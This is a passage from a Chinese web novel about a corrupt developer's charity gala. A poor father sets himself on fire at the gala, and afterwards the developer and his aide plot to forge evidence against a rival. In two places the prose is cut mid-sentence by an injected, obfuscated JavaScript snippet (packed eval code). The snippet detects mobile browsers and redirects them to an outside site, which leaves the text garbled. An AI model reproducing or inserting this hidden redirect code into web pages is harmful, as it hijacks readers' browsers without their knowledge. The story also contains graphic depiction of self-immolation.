镜头移动,银行的李行长正在举牌竞拍一瓶红酒。他出价五十万,眼睛都没眨一下。三个月前,远大有一笔二十亿的贷款到期,李行长亲自批准了展期。当然,这和他儿子在远大旗下一家公司挂名领高薪没有任何关系。 镜头再移,几个媒体老总坐在一起,谈笑风生。他们的报纸、电视、网站,这些年从远大拿了多少广告费?他们报道过“凤凰计划”的拆迁户吗?报道过工地上的安全事故吗?报道过那些因为远大项目而流离失所的人吗? 没有。永远不会。 我的手指在快门按钮上颤抖。我想把这些脸都拍下来,一张一张,特写,放大,让他们伪善的笑容永远定格。但我知道,这些照片永远不会发表。我的相机里已经存了太多这样的照片——顾远死前调查到的受贿证据,老金被骗的诊所资料,苏晚给我的那些秘密文件——它们都只是数据,只是一串0和1,改变不了任何东西。 “现在,是今晚最特别的拍品。”苏晚的声音把我拉回现实。两个工作人员推着一个盖着红绸的推车上台。苏晚走到推车旁,手放在红绸上,目光扫过全场。 “这件拍品,没有起拍价。”她说,“因为它的价值无法用金钱衡量。” 她掀开红绸。推车上是一个透明的展示柜,柜子里是一件小小的、红色的连衣裙。裙子很旧了,洗得发白,袖口有磨损,胸前绣着一朵歪歪扭扭的小花。裙子旁边放着一张照片,照片上是一个七八岁的小女孩,穿着这件裙子,对着镜头笑得很灿烂。 “这件裙子,属于一个叫小雅的孩子。”苏晚的声音低下去,带着真实的颤抖——这次是真的,我听出来了,“小雅是先天性心脏病患者,三年前,她本该接受手术,但因为家庭贫困,手术一再推迟。去年冬天,她没能等到手术的那一天。” 宴会厅里安静下来。 “小雅的父亲,是一个清洁工。小雅走后,他留下了女儿最心爱的裙子,说如果有一天,有人能用这件裙子帮助其他像小雅一样的孩子,小雅在天上一定会很高兴。”苏晚停顿,深吸一口气,“所以今晚,我们拍卖这件裙子。拍卖所得,将直接用于‘天使之心’计划。” 她说完,看向台下。一片寂静。没有人举牌。这件裙子太寒酸了,太真实了,和这个金碧辉煌的会场格格不入。它提醒着在场的人,慈善不只是数字游戏,背后真的有死亡,真的有破碎的家庭,真的有拿不出手术费的清洁工父亲。这让所有人不舒服。 我看了一眼赵承德。他微微蹙眉,但很快舒展,举起手中的号牌。 “赵总出价,十万元。”苏晚说。 像是得到了信号,其他人开始陆续举牌。 “十五万!” “二十万!” “三十万!” 价格又开始攀升。但这次,举牌的人表情不再轻松,他们面色凝重,仿佛在完成一项庄严的仪式。这件旧裙子成了一个符号,一个让他们证明自己“真的有爱心”的符号。 我移动镜头,对准那件裙子。透过玻璃展柜,我能看见裙子上细密的针脚,看见那朵绣花有多笨拙但有多用心。我想象着小雅的父亲,一个清洁工,在一天的劳累之后,坐在灯下一针一线地绣着这朵花。他也许不擅长这个,但他想给女儿的衣服添一点美,添一点别的孩子都有的东西。 最后,裙子以八十万的价格成交——又是八十万,这个数字像诅咒一样反复出现。买下它的是一个做建材生意的老板,他上台接过裙子时,眼眶红了,说他想起了自己早夭的妹妹。 台下掌声雷动。很多人流泪了。气氛到达了高潮——善的胜利,爱的传递,人性的光辉。 我想吐。我真的转身往洗手间走去。穿过人群时,我听见片段式的对话: “赵总真是做大事的人……” “一亿的基金会,能抵多少税?” “那个苏晚,听说以前是……” “嘘,小声点,赵总宠着呢。” 洗手间里空无一人。我趴在洗手台上干呕,什么也吐不出来,只有酸水从喉咙里涌上来。我看着镜子里的自己,脸色苍白,眼睛充血,像个鬼。 镜子右下角贴着一张小贴纸,是保洁人员的值班表。上面有一个名字:金卫国。 老金的名字,这家酒店的外包保洁服务,是老金生前工作的公司承包的。他可能擦过这面镜子,可能拖过这个地板,可能在这个洗手间里,一边工作一边想着女儿的病,想着怎么凑够下个月的药费。 而现在,外面那些人,正用他女儿可能需要的手术费,买下一件别人的旧裙子,然后感动于自己的善行。 我打开水龙头,用冷水泼脸。水很凉,但我感觉不到。我的脑子里全是老金最后看我的眼神,那种平静之下的疯狂,那种认命之后的决绝。 他说:沈默,如果……如果有一天我做了什么傻事。 他说:你帮我照顾好贝贝。 他说:别让她知道那些脏事。 我抬起头,看着镜子里的自己。水滴顺着脸颊往下淌,像眼泪,但我知道我没哭。我已经不会哭了。顾远死的时候我没哭,知道父亲真相的时候我没哭,看着老金躺在病床上等死的时候我没哭。 眼泪是活人的特权。而我,早就死了。从顾远死的那天起,从我踏进这个漩涡的第一天起,从我知道自己什么都改变不了的那天起,我就已经死了。现在活着的,只是一具还有心跳的尸体,一个还在记录的幽灵。 走出洗手间时,拍卖会已经进入尾声。赵承德重新回到台上,做总结陈词。 “……所以,朋友们。”他的声音充满感染力,“慈善不是施舍,是责任。不是负担,是荣耀。我们每个人,既然有幸拥有更多,就有责任回馈社会。今晚,我们共同见证了爱的力量,见证了人性的光辉。但这只是一个开始。” 他张开双臂,像要拥抱整个会场。 “让我们一起,让这座城市变得更温暖,更有爱,更有希望!” 掌声如雷。所有人都站起来鼓掌,脸上洋溢着感动和满足。闪光灯此起彼伏,记者们疯狂地按着快门,记录下这“历史性的一刻”。明天,所有报纸的头版都会是赵承德张开双臂的照片,标题会是“企业家大爱无疆,一亿基金惠及百名患儿”。 我站在人群边缘,没有鼓掌。我重新举起相机,但这次没有透过取景器看。我只是看着,用肉眼看着这场盛大的表演,看着这些沉浸在自我感动中的人,看着这个金碧辉煌却冰冷刺骨的世界。 苏晚站在赵承德身边,微笑着鼓掌。她的笑容依然完美,但我在她眼里看到了一丝别的东西——一种深不见底的疲倦,一种近乎绝望的平静。她知道这一切都是假的,她知道那些善款有多少能真正到患儿手里,她知道赵承德为什么要做这场秀。她知道,但她必须演下去。 就像我,知道这一切都是徒劳,但我还是站在这里,用相机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016466|194201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 记录着。 因为我们都被困住了。困在这座城市巨大的肠胃里,被它的消化液慢慢腐蚀,直到变成它的一部分,变成滋养它生长的养分。 掌声渐渐平息。赵承德开始邀请嘉宾上台合影。政要、企业家、明星、媒体代表……一个个走上去,站在赵承德两侧,对着镜头微笑。他们的笑容那么相似,那么标准,像同一个模具印出来的。 我放下相机,转身准备离开。我不想拍这些合影,不想再给这场表演增加任何注脚。 但就在这时,宴会厅的侧门突然传来一阵骚动。起初只是轻微的嘈杂,像远处传来的闷雷。但很快,声音变大了——是争吵声,呵斥声,还有东西摔倒的声音。 所有人都转过头去。保安在往那边聚集,试图拦住什么。但那个身影很坚决,很疯狂,像一头被逼到绝境的野兽,不顾一切地往前冲。 我看见了。是老金。 他今天没穿保洁服,而是穿了一身明显不合身的西装——衬衫领子太大,外套肩膀太宽,裤子太长,在脚踝处堆成一团。那应该是他最好的一身衣服,可能是为了某个重要场合买的,但一直没机会穿。现在他穿上了,但穿得太晚了。 他的头发梳过,但梳得很乱。脸上洗得很干净,但眼窝深陷,颧骨突出,像一具包着皮的骷髅。他手里没拿武器,只抱着一个很大的、脏兮兮的编织袋。 保安试图拦住他,但他不知哪来的力气,一把推开两个保安,冲进了宴会厅。聚光灯打在他身上,让他看起来像个误入天堂的乞丐,格格不入,荒诞可笑。 所有人都看着他,看着这个突然闯入的不速之客,眼神里有惊讶,有厌恶,有好奇,但更多的是——不耐烦。就像一场精彩的演出被一个疯子打断,大家都等着保安赶紧把这个麻烦处理掉。 老金站在宴会厅中央,站在红地毯上,站在水晶吊灯的光芒下。他环顾四周,目光扫过那些衣着华贵的人,扫过台上西装革履的赵承德,扫过穿着晚礼服的苏晚。 然后,他笑了。那是一个我永远不会忘记的笑容——扭曲、疯狂、充满绝望的释然。他笑着,眼泪却从眼眶里涌出来,顺着脸颊往下淌,在他洗得很干净的脸上冲出两道污痕。 “赵总。”他开口,声音嘶哑,但很大,大得全场都能听见,“赵承德赵总,你还记得我吗?” 所有人的目光转向台上的赵承德。赵承德脸上的笑容僵住了,但只是一瞬间。很快,他恢复了平静,甚至露出一丝困惑和怜悯的表情。他拿起话筒,温和地说:“这位先生,您是不是有什么困难?我们可以到旁边慢慢说,不要打扰——” “我问你记不记得我!”老金突然吼起来,声音像破锣,“金卫国!棉纺三厂的金卫国!1998年,‘凤凰计划’,你拆了我家的房子,逼死我爸妈!2001年,你建的安置房烂尾,我老婆生病没钱治,死了!现在,我女儿要死了,先天性心脏病,手术要八十万!我卖血,卖肾,捡垃圾,凑不够!凑不够啊!” 他的声音在颤抖,每一个字都像从喉咙里抠出来的,带着血和肉。没有人说话。没有人动。所有人都像被施了定身咒,僵在原地,看着这个突然闯入的疯子,听着他喊出那些他们不想听、不愿听、不能听的话。 我看见赵承德的脸色变了。那层温和的面具裂开了一条缝,露出底下的冰冷和恼怒。他对旁边的林涛使了个眼色。 林涛立刻走下台,朝老金走去。他的动作很快,很专业,脸上没有任何表情。 “这位先生,您情绪太激动了。”林涛说,声音平静得像在处理一件日常公务,“我们先出去,有什么困难,我们可以帮您解决。” “解决?”老金看着他,突然大笑起来,笑得浑身发抖,“怎么解决?给我钱?给我八十万?让我女儿活?” 他猛地拉开手里的编织袋。所有人都倒吸一口凉气。袋子里不是炸弹,不是武器,而是一堆东西——空的药瓶,皱巴巴的缴费单,病历本,还有一堆零钱,最多的是硬币,在灯光下闪着卑微的光。 老金抓起一把硬币,用力朝台上扔去。硬币在空中散开,叮叮当当地落在红地毯上,滚到那些锃亮的皮鞋边。 “这就是我所有的钱!”他嘶吼着,“我捡垃圾攒的!我卖血攒的!我女儿等着救命的钱!八十万!你们一顿饭的钱!你们一瓶酒的钱!你们一幅画的钱!” 他指向那幅刚刚拍出八十万的《盼》:“那幅画!八十万!我女儿的手术费!你们用它买了一张纸!一张纸!” 他的声音破了,变成了呜咽。他跪了下来,不是跪求,是崩溃。他跪在红地毯上,跪在那些硬币中间,跪在水晶吊灯虚假的光芒下,像个祭坛上的祭品。 “我女儿叫金贝贝……她七岁……她很乖……她说爸爸我不疼……她说爸爸我什么时候能上学……”他语无伦次地说着,眼泪鼻涕糊了一脸,“她说她想要一双红皮鞋……带蝴蝶结的……两百块……我舍不得买……我他妈舍不得啊!” 那些刚才还在为慈善感动落泪的人,现在面无表情。那些刚才还在竞价举牌的人,现在眼神闪躲。那些刚才还在鼓掌欢呼的人,现在沉默不语。 没有人上前。没有人说话。没有人做任何事。 他们只是看着,像在看一场戏,一场比拍卖会更精彩、更刺激的戏。但他们不想参与,不想被牵扯,不想让这个疯子的绝望玷污了他们精心维持的体面。 林涛走到了老金身边。他没有扶他,而是俯身,低声说了句什么。 老金抬起头,看着林涛,眼神突然变得无比清明,无比平静。 “我知道。”他说,声音很轻,但很清晰,“我知道你们不会给。我知道我女儿会死。我知道。” 他慢慢站起来,拍了拍膝盖上的灰。这个动作很慢,很仔细,像在进行某种仪式。 然后,他看向台上的赵承德。 两人对视。赵承德站在聚光灯下,西装笔挺,面容平静,眼神像在看一只蚂蚁。老金站在红地毯上,衣衫褴褛,满脸泪痕,眼神像在看一个死人。 我举起相机,手指按在快门按钮上。透过取景器,我看着这一幕:光鲜与破烂,权势与卑微,生与死,在这个金碧辉煌的宴会厅里,在这个所谓的慈善之夜,形成一幅绝佳的讽刺画。 但我没有按下快门。因为我看见老金的眼神变了。那种平静变成了某种更可怕的东西——一种决心,一种解脱,一种疯狂到极致的清醒。 他对我笑了笑。那个笑容,和他在医院里最后对我笑的那个笑容,一模一样。 然后,他转过身,面对着全场的人,面对着那些冷漠的目光,面对着这个吃掉了他一生、现在又要吃掉他女儿的世界。 他张开嘴,用尽全身力气,喊出了最后一句话:“这个世界太脏了——”话音未落,他的手伸进了怀里。 林涛的脸色突变,扑了上去。但太迟了。老金掏出了一个塑料瓶,里面是透明的液体。他拧开瓶盖,把液体从头浇下。刺鼻的气味瞬间弥漫开来——是汽油。 尖叫声终于响起。人群开始骚动,开始推挤,开始逃离。刚才的体面和镇定荡然无存,只剩下最原始的恐惧和自保本能。 但老金没有动。他站在那儿,任由汽油浸透他廉价的西装,浸透他洗得很干净的头发,浸透他瘦得皮包骨的身体。 他手里拿着一个打火机。很旧的那种,一块钱一个,火石已经快磨平了。他看了我最后一眼,他按下了打火机。火石摩擦,火星迸溅。一小簇火苗跳了出来,在空气中颤抖,像他女儿生命最后的心跳。 老金看着那簇火苗,笑了。他把它凑向自己。火焰瞬间吞没了他。一个人,变成了火把。一个父亲,变成了灰烬。一个生命,变成了这场慈善之夜最昂贵、也最廉价的祭品。 火光冲天,映亮了水晶吊灯,映亮了那些惊恐的脸,映亮了赵承德终于破裂的平静表情,映亮了苏晚眼中瞬间涌出的、真实的泪水。 而我,站在人群边缘,相机还举在眼前,手指还按在快门上。但我一张照片都没拍。我只是看着,看着那团火,看着那个在火焰中缓缓倒下的人影,看着这个终于露出獠牙的世界。 我知道,从这一刻起,一切都不同了。老金的火,不会照亮任何黑暗。它只会让黑暗,变得更黑。 30. 火是会说话的 老金身体里的汽油被点燃的那一刻,发出的不是尖叫,而是一种低沉的、类似叹息的轰鸣。那声音很短促,像有什么东西在胸腔里闷闷地炸开,然后才是皮肉烧焦的噼啪声,骨骼收缩的咯咯声,以及——如果有耳朵能在那地狱般的高温中保持听觉——灵魂被瞬间气化的嘶鸣。 他冲向舞台的动作其实很笨拙。五十二岁的身体,刚丢了一个肾,营养不良,长期佝偻着背捡垃圾,腰椎早就坏了。他跑起来的姿势像一只被踢断了腿的老狗,左摇右晃,但他手里的汽油桶举得很稳,稳得可怕。桶里的液体随着他的奔跑泼洒出来,在红地毯上留下一道蜿蜒的、刺鼻的痕迹,像一条通向祭坛的血路。 保安们在最初的震惊后终于反应过来。两个穿黑西装的年轻人冲上去,试图拦住他。但老金没有停。他用空着的那只手——那只手枯瘦得像鸡爪,指甲缝里还有没洗净的污垢——从口袋里掏出打火机。 那是市面上最便宜的一次性打火机,一块钱一个,透明塑料壳,里面还剩小半截黄色液体。老金用拇指摩挲着滚轮,动作很轻,像在抚摸女儿的脸。 然后他按了下去。火苗窜出来的时候,其实很小,黄蓝色的,在会堂辉煌的水晶灯下显得微不足道。但下一秒,当那火苗触碰到他胸前浸透汽油的衣服时,一切都变了。 火焰不是“蔓延”开的,是“炸”开的。像有人在他体内引爆了一颗小型的太阳。橙红色的光瞬间吞噬了他整个人,将他变成一个行走的火炬,一个活生生的、挣扎的、惨叫的殉道者。 他还在往前走。着着火,往前走了三步——从舞台边缘到赵承德站立的位置,正好三步。每一步都在红地毯上留下一个燃烧的脚印,每一个脚印都在冒烟,发出蛋白质烧焦的恶臭。 赵承德当时还保持着那个姿势——右手举着拍卖槌,左手托着那张巨大的支票模型,脸上凝固着慈善家特有的、悲天悯人的微笑。火光映在他脸上时,那笑容还没来得及褪去,就僵在了那里,变成了一种极其怪异的、介于微笑和惊恐之间的表情。他的瞳孔在那一瞬间收缩成针尖大小,倒映着那团越来越近的火。 老金终于停住了。不是因为他想停,而是因为他的身体支撑不住了。他跪了下去,面朝赵承德,火焰包裹着他,像一件用光编织的寿衣。他的嘴巴张得很大,但已经发不出声音——高温烧毁了他的声带。只能看见他的喉咙在剧烈地蠕动,像有什么话要冲出来,但最终只喷出一股黑烟。 然后他倒了下去。侧躺着,蜷缩着,像一个在母体内的婴儿。火焰继续燃烧,发出呼呼的风声。 大厅里面惊叫连连,女人的尖叫声像刀子一样划破空气。男人们的惊呼、咒骂、椅子翻倒的声音、玻璃碎裂的声音、慌乱的脚步声——所有声音混在一起,形成一种混乱的交响。有人往外冲,有人往舞台方向挤,或许出于好奇?或许出于愚蠢,有人瘫软在座位上动弹不得。摄像机还在运转,镜头忠实地记录着一切:燃烧的尸体,呆若木鸡的赵承德,疯狂逃窜的人群,以及——最重要的——舞台上那个巨大的、写着“远大集团捐赠5000万元”的支票模型。火焰的热浪让模型表面开始起泡、变形,数字“5000万”慢慢融化,滴下来,像金色的眼泪。 直播信号在三十秒后被切断。但三十秒,够了。 在这个时代,三十秒足够一段视频被录屏、被转发、被上传到社交媒体,被加上各种耸人听闻的标签,然后像病毒一样裂变式传播。三十秒,足够一个“慈善晚宴”变成一场“直播自杀”,足够一个“慈善家”变成“被诅咒的资本家”,足够一个企业的股价在第二天开盘时断崖式下跌。 火在五分钟后被扑灭。酒店自带的消防系统启动,天花板上的喷淋头洒下水,浇在舞台上,浇在老金焦黑的尸体上,浇在赵承德昂贵的西装上。水混着灰烬,流下来,在红地毯上汇成一条条污浊的溪流。 赵承德一动不动地站着,任由冷水浇透全身。他的眼睛仍然盯着那具尸体——现在只是一团蜷缩的、冒着青烟的黑色物体,勉强能看出人形。他的拍卖槌还握在手里,指关节因为用力而发白。 林涛是第一个冲上舞台的人。他推开几个吓傻了的保安,冲到赵承德身边,低声快速地说:“赵董,我们先离开这里。车已经在后门等着了。” 赵承德缓缓转过头,看着林涛。他的眼神是空的,像两个被挖掉了内容的窟窿。 “他刚才……”赵承德开口,声音沙哑得不成样子,“他刚才叫我什么?” 林涛一愣:“什么?” “他冲过来的时候,喊了一句话。”赵承德说,语速很慢,像梦游的人在复述梦境,“他说……‘赵承德,纺织厂的金卫国,来找你要债了’。” 林涛的脸色变了变。他当然知道“纺织厂”,知道“凤凰计划”,知道二十年前那些被压在摩天大楼地基下的冤魂。但他没想到,那些东西会在二十年后,以这样一种极端的方式,重新从地狱里爬出来,在众目睽睽之下,把自己烧成一团火,然后扑到赵承德脸上。 “先离开这里再说。”林涛抓住赵承德的手臂,想扶他走。 赵承德甩开了他的手。这个动作很突然,力气很大,完全不像一个刚受过惊吓的六十岁老人。 “查。”赵承德说,声音还是很轻,但每个字都像从牙缝里挤出来的,“查这个金卫国的一切。他住在哪,家里有谁,得了什么病,为什么没钱治病,为什么会出现在这里,谁让他进来的,谁给他的汽油,谁教他这么做的——所有的一切,我都要知道。” “明白。”林涛点头,“但您现在需要——” “我需要什么不需要你来告诉我!”赵承德突然爆发了。他猛地转过身,面对着林涛,脸上的肌肉在抽搐,眼神里喷出怒火——那是一种混合了恐惧、愤怒和屈辱的火焰,比刚才烧死老金的火更烫人。“我的慈善晚宴!我准备了三个月的晚宴!我请了市里的领导,请了媒体,请了所有有头有脸的人!我要宣布成立先天性心脏病儿童基金会!我要在所有人面前捐出五千万!我要让全城都知道我赵承德是个什么样的人!” 他每说一句,就往前逼近一步。林涛不得不往后退,脚踩在湿滑的灰烬和水渍里,差点摔倒。 “可现在呢?”赵承德的声音在颤抖,“现在他们看到了什么?看到了一个浑身着火的人死在我面前!听到了他说什么?‘纺织厂的金卫国’!他们会去查,会去问,会把二十年前那些烂事全挖出来!我二十年的努力!二十年!我建学校,建医院,修路,捐款,我做慈善做到全省都知道我赵承德的名字!我花了多少钱?多少精力?我把自己从一个包工头包装成一个企业家,一个慈善家,一个社会名流!我容易吗?!” 他最后一句话几乎是吼出来的,唾沫星子喷到林涛脸上。 舞台下,还有没疏散完的人听到了这番咆哮。他们停住脚步,回头看过来,眼神复杂——有惊魂未定,有厌恶,有幸灾乐祸,也有深藏的恐惧。这些眼神像针一样刺在赵承德背上。 林涛深吸一口气,强迫自己冷静下来。他压低声音:“赵董,这里不是说话的地方。我们先离开,到了安全的地方,再从长计议。” 赵承德盯着他看了几秒钟,终于点了点头。他转身,最后看了一眼老金的尸体——消防员已经用白布盖住了它,但布不够大,一只焦黑的手露在外面,手指蜷曲着,指向天空。 赵承德打了个寒颤。 车子驶向私立医院。赵承德在这家医院有长期的VIP包间,名义上是“体检疗养”,实际上是用来处理一些不便公开的“健康问题”——比如压力过大导致的失眠,比如需要绝对保密的医疗美容,比如某些见不得光的药品依赖。 赵承德靠在真皮座椅上,闭着眼睛,但眼皮在不停地跳。他的西装还是湿的,散发着焦糊味和消毒水的混合气味。林涛坐在对面,拿着平板电脑,快速浏览着刚刚汇总过来的信息。“金卫国,五十二岁,原棉纺三厂职工,1998年下岗。妻子2005年病逝,独女金贝贝,十五岁,患有先天性心脏病合并肺动脉高压,目前在市儿童福利院。”林涛念着,声音没有起伏,“金卫国本人于两个月前在市三医院做了左肾切除手术,手术原因是……在黑市卖肾时遭遇诈骗,被骗走一个肾,只拿到三千块‘营养费’。” 赵承德的眼睛睁开了。 “卖肾?”他重复这个词,像在咀嚼什么恶心的东西。 “是。根据我们查到的记录,他为了给女儿治病,试过所有办法:申请低保,被拒;申请大病救助,额度不够;网上募捐,筹到八千块,杯水车薪;最后走上了卖器官的路。”林涛顿了顿,“而骗他的那个黑中介,背后的保护伞……是分局治安大队的王副队长。王副队长去年收过我们三十万,帮我们‘处理’过北郊拆迁的钉子户。” 赵承德没有说话。他看着车窗外的城市夜景——霓虹闪烁,车流如织,高楼大厦的玻璃幕墙倒映着这个繁华世界的幻象。而在这些光鲜的背后,有多少个金卫国在挣扎?有多少人因为二十年前的一次拆迁,因为一次下岗,因为一场病,就坠入了永无天日的深渊?而这些深渊,有多少是他赵承德亲手挖出来的? “他今天是怎么进来的?”赵承德问。 “晚宴的保洁外包给了‘迅洁服务公司’,金卫国是临时工,今天下午刚被招进去。”林涛说,“招他的人是保洁领班,领班收了五百块钱——一个自称是金卫国‘老乡’的人给的,让他安排金卫国今晚进宴会厅做临时清洁。汽油是他自己带的,藏在保洁车的底层,用黑色垃圾袋包着。” “那个‘老乡’是谁?” “还没查到。监控拍到是个戴帽子的男人,但看不清脸。”林涛犹豫了一下,“但根据体型和动作习惯分析……有点像沈默。” 赵承德的瞳孔收缩了一下。 “沈默。”他念出这个名字,声音里有一种复杂的情绪——愤怒,但不止愤怒,还有一种更深的、连他自己都不愿承认的恐惧。 顾远的死,U盘的失踪,苏晚的若即若离,现在又是金卫国的自焚……所有这些事,像一张网,而沈默就是织网的那只手。不,沈默不是手,沈默只是一根针,一根被更大的手握着,刺向他的针。 “医院那边安排好了吗?”赵承德换了个话题。 “安排好了。院长亲自在等您,全套检查已经预约,心内科、神经科、心理科的专家都会过来会诊。媒体那边我们也打了招呼,通稿已经拟好——您是因为连日操劳慈善事业,加上今晚受到极端分子惊吓,突发心脏不适,需要静养。” “静养。”赵承德冷笑一声,“我静养的时候,外面那些人会怎么说?会怎么传?他们会说赵承德心虚了,躲起来了,因为他害死了人,因为他二十年前造了孽!” “舆论我们可以控制。”林涛说,“视频已经在全网删除,各大平台我们都打了招呼,热搜也撤了。剩下的,我们可以引导——把焦点转移到‘极端维权行为的危害性’上,转移到‘社会底层心理疏导机制的缺失’上,甚至……可以暗示金卫国精神有问题,他的指控都是妄想。” 赵承德看了林涛一眼。这个跟了他十年的助手,此刻显得格外冷静,甚至冷酷。他的建议是对的,是有效的,是最符合“危机公关”逻辑的。但不知为什么,赵承德心里涌起一股强烈的不适。 二十年前,当他还是个包工头,第一次用推土机碾过那些不肯搬迁的平房时,也有过这种不适。那时候他告诉自己:这是发展的阵痛,是必要的牺牲。十年后,当他成为地产大亨,用钱和关系摆平一桩桩麻烦时,那种不适感越来越淡,最后消失了。他习惯了。他觉得自己已经进化成了一个更高级的生物,一个可以俯瞰众生的棋手。 可现在,当金卫国用最原始、最暴烈的方式,把二十年前的债拍在他脸上时,那种不适感又回来了。而且更强烈,更恶心,像有什么腐烂的东西从记忆深处翻涌上来,堵在喉咙里,吐不出来,也咽不下去。 车子驶入医院地下车库。专用电梯直达VIP楼层。院长和几个主任果然等在电梯口,脸上堆着职业性的关切。 “赵董,您受惊了。”院长握住赵承德的手,“我们已经为您准备了最安静的房间,您好好休息,什么都别想。” 赵承德点了点头,任由他们簇拥着走进病房。房间很大,像五星级酒店的套房,有客厅、卧室、独立的卫生间和陪护间。窗外是医院的花园,夜色中树木影影绰绰,喷泉在灯光下泛着冷光。 医生们给赵承德做了简单的检查:量血压,测心率,听心肺。血压偏高,心率过速,但都在“受惊吓后的正常反应”范围内。他们开了些镇静和安神的药,嘱咐赵承德好好休息,便礼貌地退了出去。 房间里只剩下赵承德和林涛。 沉默持续了很长时间。赵承德坐在沙发上,看着自己的手——这双手曾经握过铁锹,握过砖块,握过推土机的操纵杆,后来握过钢笔,握过红酒杯,握过慈善支票的放大模型。现在,这双手在微微发抖。 “林涛。”他忽然开口。 “赵董。” “你跟了我多少年了?” “十年三个月。” “十年。”赵承德重复,“我待你怎么样?” 林涛顿了顿:“赵董待我恩重如山。没有您,我现在可能还在工地搬砖,或者因为打架斗殴在坐牢。” 这话半真半假。十年前,林涛确实是个混迹工地的小混混,因为一次斗殴差点被判刑。是赵承德捞了他出来,让他跟着自己,教他做事,提拔他,给他钱,给他地位。但“恩重如山”这个词,在现在的语境里,听起来像一种隐形的绑架——我给了你这么多,你就该为我卖命,就该处理好所有麻烦,包括今晚这种砸场子的疯子。 “恩重如山。”赵承德笑了,笑容很疲惫,“那你说,今晚的事,是你失职吗?” 林涛的身体僵了一下。 “晚宴的安保方案是你亲自制定的,保洁公司是你选的,人员审核是你负责的。”赵承德的声音很平静,但每个字都像刀子,“一个刚被招进来的临时工,带着一桶汽油,混进了我的慈善晚宴,当着全市政商名流和媒体的面,把自己烧死在我面前——你说,这是谁的责任?” 林涛低下头:“是我的责任。我愿意接受任何处罚。” “处罚?”赵承德 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016467|194201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 站起身,走到窗前,背对着林涛,“处罚你能让时间倒流吗?处罚你能让那些人忘记他们看到的东西吗?处罚你能让我的股价明天不跌吗?” 他的声音在提高:“林涛,我让你坐到现在这个位置,不是让你来跟我说‘我愿意接受处罚’的!我是让你来替我解决问题的!问题是,问题现在解决了吗?那个金卫国是死了,但他死之前喊的话,所有人都听到了!‘纺织厂’!‘要债’!这些词像种子一样种在那些人脑子里了!他们会去查,会去问,会去挖!你告诉我,怎么堵住所有人的嘴?怎么挖掉所有人脑子里的种子?” 林涛沉默着。他知道赵承德说的没错。在这个信息时代,你可以删视频,撤热搜,控评论,但你无法删除记忆。尤其是那种充满戏剧性、充满冲击力的记忆。老金燃烧的身影,他临死前的指控,会像幽灵一样,在每一个目击者的噩梦里反复出现,然后在茶余饭后,在酒桌牌局,在无数个隐秘的角落,被一次次复述、添油加醋、传播出去。 “赵董。”林涛终于开口,声音很低,“有一个办法,可以转移注意力。” “说。” “把事情闹大。”林涛抬起头,眼睛里闪过一丝冷光,“但不是闹金卫国这件事,是闹另一件事。” 赵承德转过身:“什么意思?” “天启集团。”林涛说,“他们不是一直想抢我们的‘滨江新城’项目吗?不是一直在暗中收购我们的散股吗?我们可以……给他们一个机会。” 赵承德眯起眼睛:“说清楚。” “金卫国这件事,我们可以把它包装成……商业对手的恶意陷害。”林涛语速加快,显然这个念头在他心里已经盘算了很久,“我们可以放出消息,说金卫国是被人收买的,收买他的人给了他钱,给了他汽油,教他怎么混进来,怎么在关键时刻自焚——目的就是搞垮您的名声,搞垮远大集团。而收买他的人,就是天启集团。” 赵承德盯着林涛,像第一次认识这个人。 “证据呢?” “证据可以伪造。”林涛说,“金卫国那个‘老乡’,可以变成天启集团某个高管的手下。金卫国银行卡里(如果他还有银行卡的话)可以突然多出一笔来路不明的钱。甚至,我们可以‘找到’一些天启集团内部讨论如何搞垮我们的‘会议记录’——现在的AI技术,伪造录音和文件很容易。” “然后呢?” “然后我们就反击。”林涛的眼睛在发光,“召开新闻发布会,出示‘证据’,指控天启集团使用非法手段进行商业竞争,甚至不惜煽动底层民众自杀式袭击。我们会把自己塑造成受害者,把金卫国塑造成被利用的可怜虫。舆论会同情我们,会愤怒地声讨天启集团。而金卫国指控的那些‘二十年前的事’,就会被淹没在更大的新闻漩涡里——人们只会记得这是一场肮脏的商战,而不会去深究什么纺织厂,什么凤凰计划。” 房间里安静下来。只有空调出风口发出轻微的嗡嗡声。 赵承德走回沙发,坐下。他拿起茶几上的烟盒,抽出一支,点燃。烟雾在灯光下缓缓升腾,像某种不安的灵魂。 “林涛。”他吐出一口烟,“你知道这么做的后果吗?” “知道。我们会和天启集团彻底撕破脸,商战会升级,可能会两败俱伤。” “不只是两败俱伤。”赵承德摇头,“你这是要把桌子掀了。一旦我们开了这个头,用了这种手段,以后所有的游戏规则就都变了。今天我们可以伪造证据诬陷天启,明天天启就可以用更脏的手段对付我们。今天我们可以把一个人的死包装成商业阴谋,明天我们的对手也可以把我们的人弄死,然后说是我们内部矛盾。这是一条不归路。” 林涛沉默了几秒钟,然后说:“赵董,我们还有别的路吗?” 这个问题像一把锤子,敲在赵承德心上。 还有别的路吗?乖乖等着舆论发酵,等着记者去挖二十年前的黑历史,等着股价一天天跌,等着合作伙伴一个个离开,等着银行上门催贷,等着检察院可能(虽然可能性不大)的调查?等着自己苦心经营二十年的帝国,因为一个捡垃圾的老头的自杀,而土崩瓦解? 没有别的路,赵承德掐灭烟蒂,动作很重,像在掐死什么东西。 